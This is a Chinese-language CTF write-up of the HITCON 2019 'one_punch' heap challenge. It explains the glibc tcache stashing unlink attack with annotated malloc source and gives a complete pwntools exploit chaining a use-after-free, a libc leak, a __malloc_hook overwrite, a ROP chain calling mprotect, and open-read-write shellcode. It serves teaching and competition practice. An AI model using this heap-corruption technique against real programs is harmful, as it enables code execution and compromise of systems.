hitcon_ctf_2019_one_punch

hitcon_ctf_2019_one_punch

在2.29及以后得版本中对unsorded bin的进行了双向链表检查,故unsorted bin attack就不可以再用了,不过tcache stashing unlink attack 可以达到同样的效果

利用原理:就是我们从smallbin中取出chunk时会检查当前smallbin中还有chunk并且tcache bin中还有空余的位置就会把剩余chunk链入到tcache bin中,在链入的过程并没有进行双向链表检查(还是因为没有进行双向链表检查造成的,跟unsorted bin attack差不多就是触发前提有所不同)

从上面可以看出首先需要tcache从smallbin中链入一个chunk,这个怎么做?

如何跳过tcache bin从smallbin取chunk?

使用calloc(它不会从tcache bin里取堆块

适用版本:目前适用于所有带tcache的glibc版本(2.26–2.36)

利用条件

1、能使用calloc分配堆块

2、有溢出或uaf

漏洞源码

if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
      //victim就是要脱链的堆块,也就是small bin里的最后一个
      //这个if在判断我们所需要的size的那条small bin链上是否存在堆块,存在的话就把victim给脱链
        {
          bck = victim->bk;
	  if (__glibc_unlikely (bck->fd != victim))//对small bin的双向链表的完整性做了检查,确保victim->bk->fd指向的还是victim
    //如果我们在这里劫持了victim的bk指针,就会导致bck的fd指向的并不是victim,从而触发异常
	    malloc_printerr ("malloc(): smallbin double linked list corrupted");
          set_inuse_bit_at_offset (victim, nb);//设置下一个(高地址)chunk的prev_inuse位
          bin->bk = bck;//将victim脱链
          bck->fd = bin;
          if (av != &main_arena)
	    set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
	  size_t tc_idx = csize2tidx (nb);//获取size对应的tcache索引
	  if (tcache && tc_idx < mp_.tcache_bins)//如果这个索引在tcache bin的范围里,也就是这个size属于tcache bin的范围
	    {
	      mchunkptr tc_victim;
	      while (tcache->counts[tc_idx] < mp_.tcache_count//如果tcache bin没有满
		     && (tc_victim = last (bin)) != bin)//如果small bin不为空,tc_victim为small bin中的最后一个堆块
		{
		  if (tc_victim != 0)
		    {
		      bck = tc_victim->bk;//在这里控制bk的值
		      set_inuse_bit_at_offset (tc_victim, nb);
		      if (av != &main_arena)
			set_non_main_arena (tc_victim);
		      bin->bk = bck;//将tc_victim从small bin中脱链
		      bck->fd = bin;//如果我们伪造bck,这里就可以将bck->fd的位置写入一个bin的地址(main_arena+96)
		      tcache_put (tc_victim, tc_idx);
	            }
		}
	    }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

程序分析

保护全开

image-20230317155517338

还有一个沙箱保护只允许使用上面的函数所以使用orw打

image-20230317160416070

漏洞利用

有一个uaf漏洞

image-20230317160609020

还有一个函数可以使用malloc,只不过需要先用tcache stashing unlink attack去修改一个地址的数大于6,利用这个函数主要是因为可以去打malloc_hook劫持执行流

image-20230317160748653

利用过程

1、利用uaf和show函数泄露libc和堆地址

泄露libc地址就是先把tcache填满让chunk进入unsorted bin中在打印出来,堆地址就直接打印一个在tcache中chunk就行

2、就是触发tcache stashing unlink attack修改地址

这一部分就是注意堆的布局就行,还有就是利用切割unsorted中的chunk、来得到自己想要的chunk

注意:smallbin中要有两个,tcache要填有6个如下

image-20230317162135738

成功后就是

image-20230317162352402

3、接下来就是利用uaf打一个malloc_hook去执行add rsp .xxx ret,因为calloc之前有有向栈中输入大量数据

因为有uaf就比较容易利用

随便自己找一个tcache链然后用edit修改一下fd指针为malloc然后用malloc申请的第二个就是malloc_hook

4、按理说触发malloc_hook用calloc和malloc都行,但我们还要去利用add rsp 去执行rop那只能用calloc因为栈离得近

exp

from tools import *
p,e,libc=load("b")

context.log_level='debug'


def add(index,size,content):
    p.sendlineafter("> ",'1')
    p.sendlineafter("idx: ",str(index))
    p.sendlineafter("hero name: ",content*size)

def delete(index):
    p.sendlineafter("> ",str(4))
    p.sendlineafter("idx: ",str(index))    

def edit(index,content):
    p.sendlineafter("> ",str(2))
    p.sendlineafter("idx: ",str(index))  
    p.sendlineafter("hero name: ",content)
    
def show(index):
    p.sendlineafter("> ",str(3))
    p.sendlineafter("idx: ",str(index))  

def backdoor(content):
    p.sendlineafter("> ",str(0xC388))
    p.send(content)

add(2,0x400,'a')
delete(2)
for i in range(6):
    add(0,0x400,'a')
    delete(0)

add(1,0x400,'b')
for i in range(6):
    add(0,0x100,'1')
    delete(0)

delete(1)
show(1)
p.recvuntil('hero name: ')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x1e4ca0
log_addr('libc_base')   
show(0)
p.recvuntil('hero name: ')
heap=u64(p.recv(6).ljust(8,b'\x00'))-0x1e4ca0
log_addr('heap')
fd=heap+0x1e4740
bk=heap+0x1e25b0
add_rsp_ret=libc_base+0x000000000008cfd6   #0x48
malloc_hook=libc_base+libc.symbols['__malloc_hook']
mprotect_addr=libc_base+0x117590
#now have one unsorted chunk size  is 0x411
add(0,0x1,shellcode_store('orw_64').ljust(0x2f0,b'\x00'))  #split from unsorted 0x300  remainder size is 0x110 
add(0,0x300,'d')  #puts remainder into samllbin
    
add(1,0x400,'e')  
add(0,0x300,'f')  #prevent merging chunk
delete(1)
add(0,0x2f0,'s')  
add(0,0x210,'h')   #smellbin


delete(0)
add(2,0x210,'i')    
delete(2)   #tcachebin 0x220
payload=b'o'*0x2f0+p64(0)+p64(0x111)
payload+=p64(fd)+p64(bk-0x10-5)
edit(1,payload)

add(0,0x100,'a')#  in order to enter the backdoor

edit(2,p64(malloc_hook))
backdoor(shellcode_store('orw_64'))
backdoor(p64(add_rsp_ret))
pop_rdi=libc_base+0x0000000000026542    
pop_rsi=libc_base+0x0000000000026f9e
pop_rdx=libc_base+0x000000000012bda6
rop=p64(pop_rdi)+p64((heap>>12)*0x1000+0x1e3000)
rop+=p64(pop_rsi)+p64(0x4000)
rop+=p64(pop_rdx)+p64(0x7)
rop+=p64(mprotect_addr)
rop+=p64(heap+0x1e5b10)
rop+=p64(0xdeadbeef)*0x20
debug(p,'pie',0x139C,0x15B3,0x1560,0x14D6,0x15E3)
add(0,1,rop)
p.interactive()

参考

https://zikh26.github.io/posts/12414989.html

posted @ 2023-03-17 16:47  何思泊河  阅读(74)  评论(0编辑  收藏  举报